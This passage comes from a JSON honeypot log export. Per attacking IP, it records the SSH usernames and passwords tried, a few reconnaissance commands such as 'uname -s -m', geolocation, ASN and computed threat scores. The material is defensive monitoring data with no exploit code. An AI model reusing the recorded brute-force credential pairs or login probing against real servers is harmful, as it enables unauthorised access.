        "last_seen_30d": "2026-03-25T06:58:11.275000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "129.212.180.243": {
      "attack_count": 15,
      "first_seen": "2026-03-14T01:46:48.248Z",
      "last_seen": "2026-03-21T19:29:11.590Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Douglasville",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 130844,
        "days_active_30d": 8,
        "ports_targeted_30d": 63947,
        "honeypots_triggered_30d": 18,
        "first_seen_30d": "2026-03-14T01:45:01+00:00",
        "last_seen_30d": "2026-03-21T19:30:21.460000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113887,
        "Honeytrap": 16893,
        "Cowrie": 15,
        "Dionaea": 12,
        "Miniprint": 8,
        "ConPot": 7,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "160.119.76.57": {
      "attack_count": 15,
      "first_seen": "2026-03-27T17:51:52.807Z",
      "last_seen": "2026-03-29T07:28:54.921Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "scan"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30.0,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 998,
        "days_active_30d": 3,
        "ports_targeted_30d": 94,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-03-27T11:11:56.428000+00:00",
        "last_seen_30d": "2026-03-29T08:31:20.535000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 682,
        "Honeytrap": 216,
        "Dionaea": 33,
        "Miniprint": 16,
        "Cowrie": 15,
        "Redishoneypot": 8,
        "Ciscoasa": 6,
        "ConPot": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Tanner": 5,
        "ElasticPot": 1
      }
    },
    "173.212.223.184": {
      "attack_count": 15,
      "first_seen": "2026-03-06T13:32:02.879Z",
      "last_seen": "2026-03-06T13:32:08.015Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "Orange123"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T13:32:02.879000+00:00",
        "last_seen_30d": "2026-03-06T13:33:14.857000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "38.188.160.116": {
      "attack_count": 13,
      "first_seen": "2026-03-10T23:13:28.106Z",
      "last_seen": "2026-03-10T23:19:08.396Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "RENCONTRE",
        "qRwx65h2jI"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:13:28.106000+00:00",
        "last_seen_30d": "2026-03-10T23:20:09.785000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "45.153.34.117": {
      "attack_count": 13,
      "first_seen": "2026-03-02T12:01:55.902Z",
      "last_seen": "2026-03-08T01:26:46.785Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4626,
        "days_active_30d": 30,
        "ports_targeted_30d": 556,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T12:01:55.902000+00:00",
        "last_seen_30d": "2026-03-31T19:11:28.138000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3993,
        "Honeytrap": 601,
        "Heralding": 15,
        "Cowrie": 13,
        "ConPot": 4
      }
    },
    "119.45.22.238": {
      "attack_count": 10,
      "first_seen": "2026-03-10T18:58:35.134Z",
      "last_seen": "2026-03-11T09:57:29.850Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "kelltech#2020",
        "kelltech2023!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T18:58:35.134000+00:00",
        "last_seen_30d": "2026-03-11T09:58:32.859000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "176.65.148.109": {
      "attack_count": 10,
      "first_seen": "2026-03-30T02:44:54.465Z",
      "last_seen": "2026-03-31T21:26:21.810Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:31:54.085000+00:00",
        "last_seen_30d": "2026-03-31T21:27:27.001000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 10
      }
    },
    "34.38.62.204": {
      "attack_count": 10,
      "first_seen": "2026-03-07T19:30:41.184Z",
      "last_seen": "2026-03-07T19:30:47.242Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T19:30:41.184000+00:00",
        "last_seen_30d": "2026-03-07T19:31:50.360000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "121.36.194.105": {
      "attack_count": 9,
      "first_seen": "2026-03-26T10:11:57.826Z",
      "last_seen": "2026-03-26T10:23:23.618Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "supersets"
      ],
      "passwords_attempted": [
        "supersets"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:11:57.826000+00:00",
        "last_seen_30d": "2026-03-26T10:33:32.376000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 6
      }
    },
    "87.121.84.102": {
      "attack_count": 9,
      "first_seen": "2026-03-29T04:48:31.517Z",
      "last_seen": "2026-03-31T22:09:46.070Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 46.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 20.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 24,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T16:09:07.976000+00:00",
        "last_seen_30d": "2026-03-31T22:10:53.876000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 8
      }
    },
    "184.105.139.70": {
      "attack_count": 8,
      "first_seen": "2026-03-07T04:06:18.178Z",
      "last_seen": "2026-03-31T01:29:18.319Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 316,
        "days_active_30d": 30,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T03:45:46+00:00",
        "last_seen_30d": "2026-03-31T11:02:06.480000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 212,
        "Honeytrap": 80,
        "H0neytr4p": 10,
        "Cowrie": 8,
        "Adbhoney": 2,
        "Dionaea": 2,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "205.210.31.176": {
      "attack_count": 8,
      "first_seen": "2026-03-04T10:08:11.924Z",
      "last_seen": "2026-03-20T16:47:55.637Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 28,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T08:00:16.218000+00:00",
        "last_seen_30d": "2026-03-31T00:14:36.705000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 19,
        "Cowrie": 8,
        "Honeyaml": 1
      }
    },
    "64.62.197.62": {
      "attack_count": 8,
      "first_seen": "2026-03-10T10:50:07.891Z",
      "last_seen": "2026-03-30T03:55:19.663Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 337,
        "days_active_30d": 30,
        "ports_targeted_30d": 85,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-03-02T03:49:16+00:00",
        "last_seen_30d": "2026-03-31T12:33:10.539000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 201,
        "Honeytrap": 89,
        "Miniprint": 16,
        "H0neytr4p": 9,
        "Cowrie": 8,
        "Dionaea": 5,
        "Adbhoney": 4,
        "ConPot": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "64.62.197.122": {
      "attack_count": 7,
      "first_seen": "2026-03-08T11:29:39.204Z",
      "last_seen": "2026-03-16T13:22:59.519Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 395,
        "days_active_30d": 30,
        "ports_targeted_30d": 88,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T03:59:16+00:00",
        "last_seen_30d": "2026-03-31T08:39:14.706000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 239,
        "Honeytrap": 108,
        "Tanner": 14,
        "Miniprint": 11,
        "H0neytr4p": 9,
        "Cowrie": 7,
        "ConPot": 4,
        "Dionaea": 2,
        "Honeyaml": 1
      }
    },
    "198.235.24.39": {
      "attack_count": 6,
      "first_seen": "2026-03-06T04:41:13.785Z",
      "last_seen": "2026-03-21T05:23:10.746Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 29,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T01:12:44+00:00",
        "last_seen_30d": "2026-03-31T09:42:21.233000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 28,
        "Cowrie": 6,
        "ConPot": 1,
        "Wordpot": 1
      }
    },
    "206.168.34.119": {
      "attack_count": 6,
      "first_seen": "2026-03-13T00:33:57.397Z",
      "last_seen": "2026-03-13T00:34:56.056Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.7,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 22,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T10:52:05+00:00",
        "last_seen_30d": "2026-03-23T15:50:07.503000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 38,
        "Cowrie": 6,
        "Dionaea": 2
      }
    },
    "36.64.174.210": {
      "attack_count": 6,
      "first_seen": "2026-03-30T11:30:29.256Z",
      "last_seen": "2026-03-30T11:30:31.486Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T11:30:29.256000+00:00",
        "last_seen_30d": "2026-03-30T11:31:33.321000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "66.132.153.132": {
      "attack_count": 6,
      "first_seen": "2026-03-04T13:38:55.467Z",
      "last_seen": "2026-03-04T13:41:51.105Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 56.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 21,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T08:09:04+00:00",
        "last_seen_30d": "2026-03-22T03:19:41.194000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 18,
        "Cowrie": 6,
        "Tanner": 4,
        "Dicompot": 1
      }
    },
    "87.236.176.83": {
      "attack_count": 6,
      "first_seen": "2026-03-09T10:44:02.434Z",
      "last_seen": "2026-03-09T10:44:05.194Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T10:44:02.434000+00:00",
        "last_seen_30d": "2026-03-09T10:45:11.577000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "14.103.142.227": {
      "attack_count": 5,
      "first_seen": "2026-03-19T19:10:24.844Z",
      "last_seen": "2026-03-19T19:10:27.565Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "mqm"
      ],
      "passwords_attempted": [
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T19:10:24.844000+00:00",
        "last_seen_30d": "2026-03-19T19:11:32.183000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.242": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:17:59.557Z",
      "last_seen": "2026-03-10T23:18:01.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "bouli"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:17:59.557000+00:00",
        "last_seen_30d": "2026-03-10T23:19:07.083000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "120.48.174.68": {
      "attack_count": 4,
      "first_seen": "2026-03-25T20:45:18.327Z",
      "last_seen": "2026-03-25T20:47:18.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T20:45:18.327000+00:00",
        "last_seen_30d": "2026-03-25T20:57:21.057000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "141.98.11.155": {
      "attack_count": 4,
      "first_seen": "2026-03-06T04:07:22.425Z",
      "last_seen": "2026-03-06T04:07:24.166Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "Vilnius",
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T04:07:22.425000+00:00",
        "last_seen_30d": "2026-03-06T04:08:32.700000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.168.121.252": {
      "attack_count": 4,
      "first_seen": "2026-03-09T03:08:03.566Z",
      "last_seen": "2026-03-09T03:08:14.031Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 59.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.3,
        "persistence": 19.2,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 23,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T01:19:07.601000+00:00",
        "last_seen_30d": "2026-03-27T11:05:44.184000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 5,
        "Cowrie": 4
      }
    },
    "205.210.31.58": {
      "attack_count": 4,
      "first_seen": "2026-03-11T04:50:48.051Z",
      "last_seen": "2026-03-11T04:50:49.723Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 30,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
